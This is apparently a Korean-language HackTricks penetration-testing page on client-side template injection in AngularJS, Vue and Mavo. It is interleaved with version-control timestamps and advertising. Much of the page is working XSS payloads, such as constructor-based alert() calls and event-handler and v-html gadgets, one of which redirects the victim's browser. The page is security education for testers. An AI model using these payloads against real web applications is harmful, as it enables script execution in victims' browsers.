2024-05-05 22:46:17 +00:00
# 클라이언트 측 템플릿 삽입 (CSTI)
2022-04-28 16:01:33 +00:00
< details >
2024-05-05 22:46:17 +00:00
< summary > < strong > htARTE (HackTricks AWS Red Team Expert)< / strong > 를 통해 제로에서 히어로까지 AWS 해킹을 배우세요!< / summary >
2022-04-28 16:01:33 +00:00
2024-02-10 21:30:13 +00:00
HackTricks를 지원하는 다른 방법:
2022-04-28 16:01:33 +00:00
2024-04-18 04:10:00 +00:00
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제** ](https://github.com/sponsors/carlospolop )를 확인하세요!
2024-03-10 13:32:21 +00:00
* [**공식 PEASS & HackTricks 스왜그** ](https://peass.creator-spring.com )를 구매하세요
* [**The PEASS Family** ](https://opensea.io/collection/the-peass-family )를 발견하세요, 당사의 독점 [**NFTs** ](https://opensea.io/collection/the-peass-family ) 컬렉션
2024-05-05 22:46:17 +00:00
* **💬 [**디스코드 그룹** ](https://discord.gg/hRep4RUj7f )에 가입하거나 [**텔레그램 그룹** ](https://t.me/peass )에 가입하거나** 트위터** 🐦 [**@carlospolopm** ](https://twitter.com/hacktricks\_live )를 팔로우하세요.
* **해킹 트릭을 공유하려면 PR을 제출하여** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) 및 [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) github 저장소에 제출하세요.
2022-04-28 16:01:33 +00:00
< / details >
2024-05-05 22:46:17 +00:00
#### [WhiteIntel](https://whiteintel.io)
2022-04-28 16:01:33 +00:00
2024-05-05 22:46:17 +00:00
< figure > < img src = "../.gitbook/assets/image (1227).png" alt = "" > < figcaption > < / figcaption > < / figure >
2020-07-15 15:43:14 +00:00
2024-05-05 22:46:17 +00:00
[**WhiteIntel** ](https://whiteintel.io )은 **다크 웹**을 활용한 검색 엔진으로, 회사나 그 고객이 **스틸러 악성 코드**에 의해 **침해**당했는지 무료로 확인할 수 있는 기능을 제공합니다.
2020-07-15 15:43:14 +00:00
2024-05-05 22:46:17 +00:00
WhiteIntel의 주요 목표는 정보를 도난당한 악성 코드로 인한 계정 탈취 및 랜섬웨어 공격을 막는 것입니다.
2024-04-18 03:39:53 +00:00
2024-05-05 22:46:17 +00:00
그들의 웹사이트를 방문하여 엔진을 **무료로** 시험해 볼 수 있습니다:
2024-04-18 03:39:53 +00:00
{% embed url="https://whiteintel.io" %}
2024-05-05 22:46:17 +00:00
***
2024-04-18 03:39:53 +00:00
2024-05-05 22:46:17 +00:00
## 요약
2024-04-18 03:39:53 +00:00
2024-05-05 22:46:17 +00:00
이는 **서버 측 템플릿 삽입**과 유사하지만 **클라이언트**에서 발생합니다. **SSTI**는 원격 서버에서 **코드를 실행**할 수 있게 해주지만, **CSTI**는 피해자의 브라우저에서 **임의의 JavaScript 코드를 실행**할 수 있게 합니다.
2024-04-18 03:39:53 +00:00
2024-05-05 22:46:17 +00:00
이 취약점을 **테스트**하는 방법은 **SSTI**의 경우와 매우 **유사**합니다. 해석기는 **템플릿**을 기대하고 실행할 것입니다. 예를 들어, `{{ 7-7 }}` 와 같은 payload로, 앱이 **취약**하다면 `0` 을 볼 수 있고, 그렇지 않으면 원본인 `{{ 7-7 }}` 을 볼 수 있습니다.
2020-07-15 15:43:14 +00:00
2024-05-05 22:46:17 +00:00
## AngularJS
2020-07-15 15:43:14 +00:00
2024-05-05 22:46:17 +00:00
AngularJS는 HTML과 상호 작용하는 널리 사용되는 JavaScript 프레임워크로, ** `ng-app` **과 같은 디렉티브로 HTML을 처리할 수 있게 합니다. 이 디렉티브는 AngularJS가 HTML 콘텐츠를 처리하고 중괄호 안에 JavaScript 표현식을 실행할 수 있게 합니다.
2020-07-15 15:43:14 +00:00
2024-05-05 22:46:17 +00:00
사용자 입력이 `ng-app` 으로 태그된 HTML 본문에 동적으로 삽입될 때, 임의의 JavaScript 코드를 실행할 수 있습니다. 입력 내에서 AngularJS 구문을 활용하여 이를 달성할 수 있습니다. 아래는 JavaScript 코드를 실행하는 방법을 보여주는 예시입니다:
2020-07-15 15:43:14 +00:00
```javascript
{{$on.constructor('alert(1)')()}}
{{constructor.constructor('alert(1)')()}}
2021-06-29 12:49:13 +00:00
< input ng-focus = $event.view.alert('XSS') >
2020-07-15 15:43:14 +00:00
<!-- Google Research - AngularJS -->
< div ng-app ng-csp > < textarea autofocus ng-focus = "d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'" > < / textarea > < / div >
```
2024-05-05 22:46:17 +00:00
당신은 [http://jsfiddle.net/2zs2yv7o/ ](http://jsfiddle.net/2zs2yv7o/ )와 [**Burp Suite Academy** ](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-angularjs-expression )에서 **AngularJS** 취약점의 매우 **기본적인 온라인 예제**를 찾을 수 있습니다.
2020-07-15 15:43:14 +00:00
2021-06-29 12:49:13 +00:00
{% hint style="danger" %}
2024-05-05 22:46:17 +00:00
[**Angular 1.6은 샌드박스를 제거했습니다** ](http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html ) 따라서 이 버전부터 `{{constructor.constructor('alert(1)')()}}` 또는 `<input ng-focus=$event.view.alert('XSS')>` 와 같은 페이로드가 작동해야 합니다.
2021-06-29 12:49:13 +00:00
{% endhint %}
2024-05-05 22:46:17 +00:00
## VueJS
2020-07-15 15:43:14 +00:00
2024-04-18 04:10:00 +00:00
[https://vue-client-side-template-injection-example.azu.now.sh/ ](https://vue-client-side-template-injection-example.azu.now.sh )에서 **취약한 Vue** 구현을 찾을 수 있습니다.\
2024-02-10 21:30:13 +00:00
작동하는 페이로드: [`https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%` ](https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor\(%27alert\(%22foo%22\ )%27\)\(\)%7D%7D)
2020-07-15 15:43:14 +00:00
2024-05-05 22:46:17 +00:00
그리고 취약한 예제의 **소스 코드**는 여기에 있습니다: [https://github.com/azu/vue-client-side-template-injection-example ](https://github.com/azu/vue-client-side-template-injection-example )
2020-07-15 15:43:14 +00:00
```markup
<!-- Google Research - Vue.js -->
">< div v-html = "''.constructor.constructor('d=document;d.location.hash.match( \'x1 \') ? `` : d.location=`//localhost/mH`')()" > aaa</ div >
```
2024-05-05 22:46:17 +00:00
### **V3**
2024-03-10 13:32:21 +00:00
2024-05-05 22:46:17 +00:00
Vue에서 CSTI에 대한 매우 좋은 포스트를 [여기 ](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets )에서 찾을 수 있습니다.
2021-10-18 11:21:18 +00:00
```
2021-02-25 11:39:28 +00:00
{{_openBlock.constructor('alert(1)')()}}
```
2024-05-05 22:46:17 +00:00
### **V2**
2021-02-25 11:39:28 +00:00
2024-05-05 22:46:17 +00:00
크레딧: [Gareth Heyes, Lewis Ardern & PwnFunction ](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets )
2021-10-18 11:21:18 +00:00
```
2021-02-25 11:39:28 +00:00
{{constructor.constructor('alert(1)')()}}
```
Credit: [Mario Heiderich ](https://twitter.com/cure53berlin )
2024-05-05 22:46:17 +00:00
**더 많은 VUE payloads를 확인하세요** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected** ](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected )
2021-11-22 11:32:00 +00:00
2024-05-05 22:46:17 +00:00
## Mavo
2020-07-15 15:43:14 +00:00
2024-02-10 21:30:13 +00:00
페이로드:
2021-10-18 11:21:18 +00:00
```
2021-06-25 16:39:43 +00:00
[7*7]
[(1,alert)(1)]
< div mv-expressions = "{{ }}" > {{top.alert(1)}}< / div >
2020-07-15 15:43:14 +00:00
[self.alert(1)]
2021-02-25 11:39:28 +00:00
javascript:alert(1)%252f%252f..%252fcss-images
[Omglol mod 1 mod self.alert (1) andlol]
2021-06-25 16:39:43 +00:00
[''=''or self.alert(lol)]
< a data-mv-if = '1 or self.alert(1)' > test< / a >
< div data-mv-expressions = "lolx lolx" > lolxself.alert('lol')lolx< / div >
< a href = [javascript&':alert(1)'] > test< / a >
[self.alert(1)mod1]
2020-07-15 15:43:14 +00:00
```
2024-04-18 04:10:00 +00:00
**더 많은 페이로드** [**https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations** ](https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations )
2024-03-10 13:32:21 +00:00
2024-05-05 22:46:17 +00:00
## **무차별 대입 탐지 목록**
2021-06-27 21:56:13 +00:00
2021-10-18 11:21:18 +00:00
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
2022-04-28 16:01:33 +00:00
2024-05-05 22:46:17 +00:00
#### [WhiteIntel](https://whiteintel.io)
2024-04-18 03:39:53 +00:00
2024-05-05 22:46:17 +00:00
< figure > < img src = "../.gitbook/assets/image (1227).png" alt = "" > < figcaption > < / figcaption > < / figure >
2024-04-18 03:39:53 +00:00
2024-05-05 22:46:17 +00:00
[**WhiteIntel** ](https://whiteintel.io )은 **다크 웹**을 기반으로 한 검색 엔진으로, 회사나 그 고객이 **도난당한 악성 소프트웨어**에 의해 **침해**를 당했는지 확인할 수 있는 **무료** 기능을 제공합니다.
2024-04-18 03:39:53 +00:00
2024-05-05 22:46:17 +00:00
WhiteIntel의 주요 목표는 정보를 도난하는 악성 소프트웨어로 인한 계정 탈취 및 랜섬웨어 공격을 막는 것입니다.
2024-04-18 03:39:53 +00:00
2024-05-05 22:46:17 +00:00
그들의 웹사이트를 방문하여 **무료**로 엔진을 시험해 볼 수 있습니다:
2024-04-18 03:39:53 +00:00
{% embed url="https://whiteintel.io" %}
2022-04-28 16:01:33 +00:00
< details >
2024-05-05 22:46:17 +00:00
< summary > < strong > 제로부터 AWS 해킹을 전문가로 배우세요< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE (HackTricks AWS Red Team Expert)< / strong > < / a > < strong > 와 함께!< / strong > < / summary >
2022-04-28 16:01:33 +00:00
2024-02-10 21:30:13 +00:00
HackTricks를 지원하는 다른 방법:
2022-04-28 16:01:33 +00:00
2024-04-18 04:10:00 +00:00
* **HackTricks에 귀사를 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**구독 요금제** ](https://github.com/sponsors/carlospolop )를 확인하세요!
2024-03-10 13:32:21 +00:00
* [**공식 PEASS & HackTricks 스왜그** ](https://peass.creator-spring.com )를 구입하세요
2024-04-18 03:39:53 +00:00
* [**The PEASS Family** ](https://opensea.io/collection/the-peass-family )를 발견하세요, 저희의 독점 [**NFTs** ](https://opensea.io/collection/the-peass-family ) 컬렉션
2024-05-05 22:46:17 +00:00
* **💬 [디스코드 그룹 ](https://discord.gg/hRep4RUj7f )** 또는 [텔레그램 그룹 ](https://t.me/peass )에 **가입**하거나 **트위터** 🐦 [**@carlospolopm** ](https://twitter.com/hacktricks\_live )**를 팔로우**하세요.
* **HackTricks 및 HackTricks Cloud** 깃허브 저장소에 PR을 제출하여 **해킹 요령을 공유**하세요.
2022-04-28 16:01:33 +00:00
< / details >